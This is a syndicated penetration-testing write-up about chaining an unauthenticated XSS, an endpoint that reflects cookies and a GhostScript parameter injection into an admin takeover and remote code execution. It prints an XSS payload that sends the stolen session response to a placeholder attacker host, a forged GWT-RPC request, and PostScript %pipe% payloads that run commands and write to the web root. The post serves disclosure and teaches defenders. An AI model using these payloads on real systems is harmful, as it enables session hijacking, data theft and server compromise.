When HttpOnly Isn’t Enough: Chaining XSS and GhostScript for Full RCE Compromise
None
<div data-elementor-type="wp-post" data-elementor-id="10737" class="elementor elementor-10737" data-elementor-post-type="post"> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-c1cbc77 e-con-full e-flex e-con e-parent" data-id="c1cbc77" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-b185d7e elementor-widget elementor-widget-text-editor" data-id="b185d7e" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> What started as a standard cross-site scripting vulnerability in a document processing platform turned into a full administrative takeover of the application and, ultimately, remote code execution on the underlying server. The <code>HttpOnly</code> flag protected the session cookie from Javascript, but did the application keep it safe? <p>During a recent assessment of a document processing application, we discovered two independent vulnerability chains that compounded into a worst-case scenario: an unauthenticated attacker could steal an administrator’s session despite <code>HttpOnly</code> protections, then pivot to executing arbitrary operating system commands through an overlooked GhostScript integration. No zero-days. No exotic tooling. Just careful analysis of how the application actually worked versus how it was supposed to.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-6468ec0 e-con-full e-flex e-con e-parent" data-id="6468ec0" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-8542114 elementor-widget elementor-widget-heading" data-id="8542114" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Document Processing Platform</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-4eb47fe e-con-full e-flex e-con e-parent" data-id="4eb47fe" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-a1fffd9 elementor-widget elementor-widget-text-editor" data-id="a1fffd9" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>The target was a cloud-hosted enterprise document processing application. Think large-scale file ingestion: organizations feed it documents by the thousands, and the platform handles the rest, converting unstructured content into usable data.</p> <p>The application was built on a Java stack with a Google Web Toolkit (GWT) frontend, backed by REST APIs and a Swagger UI for developer interaction. It exposed several endpoints under a common base path, some requiring authentication, others not.</p> <p>All application functionality was stated to require authentication. We decided to verify that claim, systematically testing each endpoint to see if anything was accessible to unauthenticated users. One endpoint immediately caught our attention.</p> <p><a id="bookmark=id.hp4tsrljvzqp"></a> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-5341eb4 e-con-full e-flex e-con e-parent" data-id="5341eb4" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-54bcdc3 elementor-widget elementor-widget-heading" data-id="54bcdc3" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">An Unexpected Entry Point</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-ae588b6 e-con-full e-flex e-con e-parent" data-id="ae588b6" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-ddd6564 elementor-widget elementor-widget-text-editor" data-id="ddd6564" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>The <code>/app/viewer.html</code> endpoint was accessible without authentication. It accepted a <code>url</code> query parameter, fetched the contents of that URL via <code>XMLHttpRequest</code>, and rendered the response directly into the DOM using innerHTML without any sanitization or validation. A textbook cross-site scripting vulnerability. An attacker could host a malicious payload and deliver a link like:</p> <p><a href="https://target.example.com/app/viewer.html?url=https://attacker.example.com/payload.html">https://target.example.com/app/viewer.html?url=https://attacker.example.com/payload.html</a></p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-3c838a6 e-con-full e-flex e-con e-parent" data-id="3c838a6" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-2c5e030 elementor-widget elementor-widget-image" data-id="2c5e030" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <figure class="wp-caption"> <img fetchpriority="high" decoding="async" width="984" height="486" src="https://www.praetorian.com/wp-content/uploads/2026/03/dialog-box-showing-localhost-url-file-processinglocal8080-wi-1.webp" class="attachment-full size-full wp-image-10733" alt="Dialog box showing localhost URL file-processing.local:8080 with file-processing.local text and cyan OK button" srcset="https://www.praetorian.com/wp-content/uploads/2026/03/dialog-box-showing-localhost-url-file-processinglocal8080-wi-1.webp 984w, https://www.praetorian.com/wp-content/uploads/2026/03/dialog-box-showing-localhost-url-file-processinglocal8080-wi-1-300x148.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/03/dialog-box-showing-localhost-url-file-processinglocal8080-wi-1-768x379.webp 768w" sizes="(max-width: 984px) 100vw, 984px"><figcaption class="widget-image-caption wp-caption-text">A browser dialog displaying a local development server URL for a file processing application running on port 8080.</figcaption></figure> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-0d46067 e-con-full e-flex e-con e-parent" data-id="0d46067" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-7f60860 elementor-widget elementor-widget-heading" data-id="7f60860" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">The HttpOnly Problem</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-2a6de64 e-con-full e-flex e-con e-parent" data-id="2a6de64" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-552e916 elementor-widget elementor-widget-text-editor" data-id="552e916" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> The obvious target was the session cookie. If we could steal the <code>JSESSIONID</code> cookie from an authenticated administrator, we could hijack their session and gain full administrative access to the platform. However, the <code>JSESSIONID</code> cookie was marked with the <code>HttpOnly</code> flag. This is precisely what <code>HttpOnly</code> is designed to prevent: even with JavaScript execution in the victim’s browser, <code>document.cookie</code> would not return the session identifier. The cookie was invisible to client-side code. <p>But XSS with <code>HttpOnly</code> cookies is not a dead end. Even without direct cookie access, JavaScript executing in the application’s origin can issue authenticated requests on the victim’s behalf. The browser will attach the session cookie automatically. The question becomes: is there any endpoint where an authenticated request discloses sensitive information?</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-557eef6 e-con-full e-flex e-con e-parent" data-id="557eef6" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-996118f elementor-widget elementor-widget-heading" data-id="996118f" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Finding the Cookie Reflection Endpoint</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-bd775d7 e-con-full e-flex e-con e-parent" data-id="bd775d7" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-aeef624 elementor-widget elementor-widget-text-editor" data-id="aeef624" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>With direct cookie access off the table, we explored whether any endpoint might inadvertently expose session data in its response. We started examining every endpoint in the application, looking for any that might reflect session information in their response body.</p> <p>We found a GWT-based internal service endpoint that did exactly that. When called with a valid session, this endpoint returned all cookies, including the <code>HttpOnly</code> <code>JSESSIONID</code>, directly in its response body.</p> <p>The response looked like this:</p> <p><code>//OK[0,4,3,30,2,2,1,1,1,1,<br> ["com.example.app.shared.ServiceResponse/<br> 8374291056","JSESSIONID\u003Dvalid_session_cookie; authType\u003DFORM;<br> serverTime\u003D9999999999999;<br> sessionExpiry\u003D9999999999999","0","valid_session_cookie"],0,7]</code></p> <p>There it was. The <code>JSESSIONID</code> value, reflected in plaintext within the GWT-RPC response. The server was handing us the very cookie that <code>HttpOnly</code> was supposed to protect.</p> <p> </p> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-d6d387f e-con-full e-flex e-con e-parent" data-id="d6d387f" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-ed86390 elementor-widget elementor-widget-heading" data-id="ed86390" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Bypassing GWT Security Controls</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-3d69504 e-con-full e-flex e-con e-parent" data-id="3d69504" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-eb43031 elementor-widget elementor-widget-text-editor" data-id="eb43031" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> The cookie reflection endpoint used GWT-RPC, which requires two security tokens in each request: an <code>X-Gwt-Permutation</code> header and a hash value in the request body. These are meant to act as CSRF protection, ensuring requests originate from the legitimate GWT application. <p>We tested whether the application actually validated these values or merely checked for their presence. The answer was the latter. Supplying “a” for both the header and the body hash produced a successful response with full cookie reflection.</p> <p><code>POST /app/service/rpc HTTP/2<br> Host: target.example.com<br> X-Gwt-Permutation: a<br> Content-Type: text/x-gwt-rpc; charset=UTF-8</code></p> <p><code>7|0|4|https://target.example.com/app/service/|a|<br> com.example.app.client.AppService|<br> getServiceMetaData|1|2|3|4|0|</code></p> <p>The application verified the presence of security controls but never validated their contents.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-eb876dd e-con-full e-flex e-con e-parent" data-id="eb876dd" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-1242f5b elementor-widget elementor-widget-heading" data-id="1242f5b" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Assembling the Attack Chain</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-079ce62 e-con-full e-flex e-con e-parent" data-id="079ce62" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-ec003ca elementor-widget elementor-widget-text-editor" data-id="ec003ca" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> With both pieces in place, we crafted a payload that combined the XSS and cookie reflection vulnerabilities into a single attack chain. The malicious HTML hosted on our server contained: <p><code><<strong>img</strong> src=x onerror="<br> fetch('https://target.example.com/app/service/rpc', {<br> method: 'POST',<br> credentials: 'include',<br> headers: {<br> 'Content-Type': 'text/x-gwt-rpc',<br> 'X-Gwt-Permutation': 'a'<br> },<br> body:<br>'7|0|4|https://target.example.com/app/service/|a|com.example.app.client.AppService|getServiceMetaData|1|2|3|4|0|'<br> })<br> .then(r => r.text())<br> .then(d => fetch('https://attacker-exfil-server.example.com/exfil?c=' + btoa(d)))<br> "><br></code></p> <p>When an authenticated administrator clicked our link, the following sequence occurred:</p> <ol> <li>The victim’s browser loaded <code>viewer.html</code> with our malicious URL</li> <li>Our payload executed in the target application’s origin</li> <li>JavaScript sent a <code>POST</code> request to the cookie reflection endpoint with the victim’s cookies automatically included via <code>credentials:'include'</code></li> <li>The GWT endpoint returned all cookies, including the <code>HttpOnly JSESSIONID</code>, in the response body</li> <li>Our payload exfiltrated the response to an attacker-controlled server</li> <li>We used the stolen <code>JSESSIONID</code> to authenticate as the victim administrator</li> </ol> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-f11e777 e-con-full e-flex e-con e-parent" data-id="f11e777" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-53db5e2 elementor-widget elementor-widget-heading" data-id="53db5e2" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Full Administrative Access</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-6e80f9c e-con-full e-flex e-con e-parent" data-id="6e80f9c" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-df8a48b elementor-widget elementor-widget-text-editor" data-id="df8a48b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> <p>With the administrator’s session cookie, we had unrestricted access to the platform:</p> <ul> <li><strong>File processing configurations</strong>: View and modify all document processing workflows</li> <li><strong>User management</strong>: Access all user accounts and sensitive data</li> <li><strong>Uploaded documents</strong>: Access sensitive files processed through the platform</li> <li><strong>System configuration</strong>: Modify all system-wide settings</li> </ul> <p>We also discovered that the administrative interface leaked complete database credentials in plaintext through a “Test Connection” feature. The UI masked the password, but the underlying HTTP request transmitted it in the clear. An attacker with the hijacked session could intercept this and gain direct database access.</p> <p>An unauthenticated XSS had escalated to full administrative control over an enterprise document processing platform. But while continuing to explore the application’s attack surface, we found something worse.</p> <p><a id="bookmark=id.e3laas9ec6y5"></a> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-5697a7f e-con-full e-flex e-con e-parent" data-id="5697a7f" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-8a0fe4e elementor-widget elementor-widget-heading" data-id="8a0fe4e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">The Document Processing Rabbit Hole</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-ab5756d e-con-full e-flex e-con e-parent" data-id="ab5756d" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-0d4723d elementor-widget elementor-widget-text-editor" data-id="0d4723d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> While examining the application’s REST API through its Swagger UI, we noticed an endpoint that processed documents using GhostScript: <code>POST /app/rest/processDocument</code>. Notably, this endpoint was accessible to any authenticated user, not just administrators. Even if the XSS chain had targeted a low-privilege account instead of an admin, this route to RCE would still be available. The endpoint accepted several parameters, including <code>useGhostscript</code> (a boolean) and <code>renderOptions</code> (a string passed directly to the GhostScript interpreter). <p>The <code>renderOptions</code> field caught our attention. If the application passed user-supplied values directly to GhostScript’s command line without validation, we might be able to inject arbitrary parameters.</p> <p>We tested with the following values:</p> <ul> <li><strong>file</strong>: <code>test.ps</code> (a PostScript file we uploaded)</li> <li><strong>renderOptions</strong>: <code>-dNOSAFER -dNOPAUSE -r300 -sDEVICE=tiff12nc -dBATCH</code></li> <li><strong>useGhostscript</strong>: <code>true</code></li> </ul> <p>The key injection was <code>-dNOSAFER</code>. GhostScript’s <code>-dSAFER</code> flag is the primary security mechanism that restricts PostScript code from accessing the file system or executing operating system commands. Injecting <code>-dNOSAFER</code> disables this protection entirely, unlocking the full power of PostScript’s %pipe% device.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-46ca76f e-con-full e-flex e-con e-parent" data-id="46ca76f" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-c09b413 elementor-widget elementor-widget-heading" data-id="c09b413" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">From Parameter Injection to Remote Code Execution</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-f0641f1 e-con-full e-flex e-con e-parent" data-id="f0641f1" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-139673b elementor-widget elementor-widget-text-editor" data-id="139673b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> Our uploaded PostScript file contained a payload designed to execute an operating system command through the %pipe% device: <p><code>%!PS-Adobe-3.0<br> <em>%%BoundingBox: 0 0 612 792</em><br> <em>%%Pages: 1</em><br> <em>%%EndComments</em></code></p> <p><code><em>%%Page: 1 1</em></code></p> <p><code>(%pipe%cmd /c nslookup test.collaborator.example.com) (w)<br><strong>file</strong><br> <strong>closefile</strong></code></p> <p><code><strong>newpath</strong><br> 100 100 <strong>moveto</strong><br> 200 200 <strong>lineto</strong><br> <strong>stroke</strong></code></p> <p><code><strong>showpage</strong><br> <strong>quit</strong></code></p> <p>The PostScript looks like a simple document with basic drawing commands. Hidden inside is a single line that opens the <code>%pipe%</code> device, instructing GhostScript to execute <code>cmd /c nslookup</code> against our collaborator server. The surrounding drawing commands exist solely to make the file appear as a legitimate document.</p> <p>We submitted the request through the Swagger UI. Seconds later, our collaborator server received DNS callbacks from the target server. The application had executed our command.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-95214f2 e-con-full e-flex e-con e-parent" data-id="95214f2" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-e8ca73e elementor-widget elementor-widget-heading" data-id="e8ca73e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Proving Full Impact</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-46dedc2 e-con-full e-flex e-con e-parent" data-id="46dedc2" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-b9bda53 elementor-widget elementor-widget-text-editor" data-id="b9bda53" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> With command execution confirmed, we systematically demonstrated the full scope of access: <p><strong>System Enumeration</strong>: We modified the PostScript payload to exfiltrate the server hostname via DNS, confirming we had visibility into the underlying infrastructure.</p> <p><strong>Arbitrary File Read</strong>: We crafted a payload that read <code>C:\Windows\win.ini</code> and exfiltrated its contents via HTTPS to our collaborator server. The response contained the expected Windows initialization file contents, confirming we could read arbitrary files from the server.</p> <p><strong>Arbitrary File Write</strong>: We demonstrated the ability to write files to the internet-facing web directory:</p> <p><code>(%pipe%cmd /c "echo test > C:\\App\\WebRoot\\favicon.ico.bak<br> && nslookup write-ok.collaborator.example.com<br> || nslookup writefail.collaborator.example.com") (w) <strong>file</strong><br> <strong>closefile</strong></code></p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-6fa7799 e-con-full e-flex e-con e-parent" data-id="6fa7799" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-d3b94b7 elementor-widget elementor-widget-image" data-id="d3b94b7" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <figure class="wp-caption"> <img decoding="async" width="2048" height="311" src="https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1.webp" class="attachment-full size-full wp-image-10734" alt="Screenshot of DNS query log showing Collaborator server received type A lookup for domain write-ok.oastify.com" srcset="https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1.webp 2048w, https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1-300x46.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1-1024x156.webp 1024w, https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1-768x117.webp 768w, https://www.praetorian.com/wp-content/uploads/2026/03/screenshot-of-dns-query-log-showing-collaborator-server-rece-1-1536x233.webp 1536w" sizes="(max-width: 2048px) 100vw, 2048px"><figcaption class="widget-image-caption wp-caption-text">DNS query log entry demonstrating successful out-of-band interaction with a Burp Collaborator server during security testing.</figcaption></figure> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-aba012b e-con-full e-flex e-con e-parent" data-id="aba012b" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-dbcaab0 elementor-widget elementor-widget-text-editor" data-id="dbcaab0" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> The DNS callback confirmed <code>write-ok</code>, and we verified the file was publicly accessible at the application’s web root. This capability meant an attacker could deploy a web shell for persistent access, write malicious scripts, or modify existing application files. <p>We stopped testing after confirming command execution, file read, and file write. No web shells were deployed, and no sensitive data was exfiltrated beyond these minimal proof-of-concept demonstrations.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-0b4e79b e-con-full e-flex e-con e-parent" data-id="0b4e79b" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-7c5e2eb elementor-widget elementor-widget-heading" data-id="7c5e2eb" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">The Complete Picture</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-de6872f e-con-full e-flex e-con e-parent" data-id="de6872f" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-46dfcdb elementor-widget elementor-widget-text-editor" data-id="46dfcdb" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> To summarize what we found: two vulnerability chains that compounded into a worst-case scenario, each severe on its own, devastating in combination. <p><strong>Chain 1: Unauthenticated XSS to Administrative Takeover</strong></p> <ol> <li><strong>XSS via <code>viewer.html</code>:</strong> Unauthenticated endpoint renders attacker-controlled content via <code>innerHTML</code>.</li> <li><strong>Cookie reflection via GWT endpoint:</strong> An internal service endpoint reflects all cookies, including <code>HttpOnly</code> session tokens, in its response body.</li> <li><strong>GWT security bypass:</strong> The <code>X-Gwt-Permutation</code> header and request hash are checked for presence but not validated.</li> <li><strong>Session hijack:</strong> Stolen <code>JSESSIONID</code> grants full administrative access.</li> <li><strong>Database credential exposure:</strong> Administrative interface leaks plaintext database credentials.</li> </ol> <p><strong>Chain 2: GhostScript Parameter Injection to RCE</strong></p> <ol> <li><strong>Parameter injection via <code>renderOptions</code>:</strong> The <code>processDocument</code> endpoint, accessible to any authenticated user, passes user input directly to GhostScript’s command line.</li> <li><strong><code>-dNOSAFER</code> injection:</strong> Disabling GhostScript’s safe mode unlocks the <code>%pipe%</code> device.</li> <li><strong>OS command execution:</strong> PostScript payloads execute arbitrary commands through <code>%pipe%</code>.</li> <li><strong>File read/write:</strong> Demonstrated reading system files and writing to the web root.</li> </ol> <p>An attacker combining both chains could go from zero access to persistent server compromise without any prior credentials, special tools, or zero-day exploits.</p> <p> </p></div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-fb185b1 e-con-full e-flex e-con e-parent" data-id="fb185b1" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-8aecb7a elementor-widget elementor-widget-image" data-id="8aecb7a" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> <figure class="wp-caption"> <img decoding="async" width="2048" height="489" src="https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1.webp" class="attachment-full size-full wp-image-10735" alt="Blog image 2" srcset="https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1.webp 2048w, https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1-300x72.webp 300w, https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1-1024x245.webp 1024w, https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1-768x183.webp 768w, https://www.praetorian.com/wp-content/uploads/2026/03/blog-image-2-1-1536x367.webp 1536w" sizes="(max-width: 2048px) 100vw, 2048px"><figcaption class="widget-image-caption wp-caption-text">Blog image 2</figcaption></figure> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-c818a85 e-con-full e-flex e-con e-parent" data-id="c818a85" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-b08822d elementor-widget elementor-widget-heading" data-id="b08822d" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> <h2 class="elementor-heading-title elementor-size-default">Broader Implications</h2> </div> </div> <div data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-element elementor-element-709b838 e-con-full e-flex e-con e-parent" data-id="709b838" data-element_type="container" data-e-type="container"> <div class="elementor-element elementor-element-de06e7e elementor-widget elementor-widget-text-editor" data-id="de06e7e" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> This assessment reinforced several security patterns that apply far beyond document processing platforms: <p><strong><code>HttpOnly</code> is necessary but not sufficient:</strong> The flag blocks <code>document.cookie</code>, but any endpoint that reflects cookie values in its response body becomes a bypass vector.</p> <p><strong>Security controls must validate, not just verify presence:</strong> Checking that a header or token exists is meaningless if any value is accepted.</p> <p><strong>Document processing libraries are attack surface:</strong> Every parameter passed to GhostScript, ImageMagick, or other document processing library is a security boundary when they are invoked from web applications.</p> <p><strong>User-controlled subprocess arguments are as dangerous as shell input:</strong> Parameter injection does not require special characters. A perfectly valid command line flag can disable every security protection a tool offers.</p> <p>This case study illustrates how analyzing applications holistically, identifying individual weaknesses, and chaining them together can turn seemingly minor issues into critical vulnerabilities. </p></div> </div> </div><p>The post <a href="https://www.praetorian.com/blog/httponly-cookie-bypass-xss-ghostscript-rce/">When HttpOnly Isn’t Enough: Chaining XSS and GhostScript for Full RCE Compromise</a> appeared first on <a href="https://www.praetorian.com/">Praetorian</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/when-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise/" data-a2a-title="When HttpOnly Isn’t Enough: Chaining XSS and GhostScript for Full RCE Compromise"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhen-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise%2F&linkname=When%20HttpOnly%20Isn%E2%80%99t%20Enough%3A%20Chaining%20XSS%20and%20GhostScript%20for%20Full%20RCE%20Compromise" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhen-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise%2F&linkname=When%20HttpOnly%20Isn%E2%80%99t%20Enough%3A%20Chaining%20XSS%20and%20GhostScript%20for%20Full%20RCE%20Compromise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhen-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise%2F&linkname=When%20HttpOnly%20Isn%E2%80%99t%20Enough%3A%20Chaining%20XSS%20and%20GhostScript%20for%20Full%20RCE%20Compromise" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhen-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise%2F&linkname=When%20HttpOnly%20Isn%E2%80%99t%20Enough%3A%20Chaining%20XSS%20and%20GhostScript%20for%20Full%20RCE%20Compromise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhen-httponly-isnt-enough-chaining-xss-and-ghostscript-for-full-rce-compromise%2F&linkname=When%20HttpOnly%20Isn%E2%80%99t%20Enough%3A%20Chaining%20XSS%20and%20GhostScript%20for%20Full%20RCE%20Compromise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.praetorian.com/blog/">Offensive Security Blog: Latest Trends in Hacking | Praetorian</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by n8n-publisher">n8n-publisher</a>. Read the original post at: <a href="https://www.praetorian.com/blog/httponly-cookie-bypass-xss-ghostscript-rce/">https://www.praetorian.com/blog/httponly-cookie-bypass-xss-ghostscript-rce/</a> </p>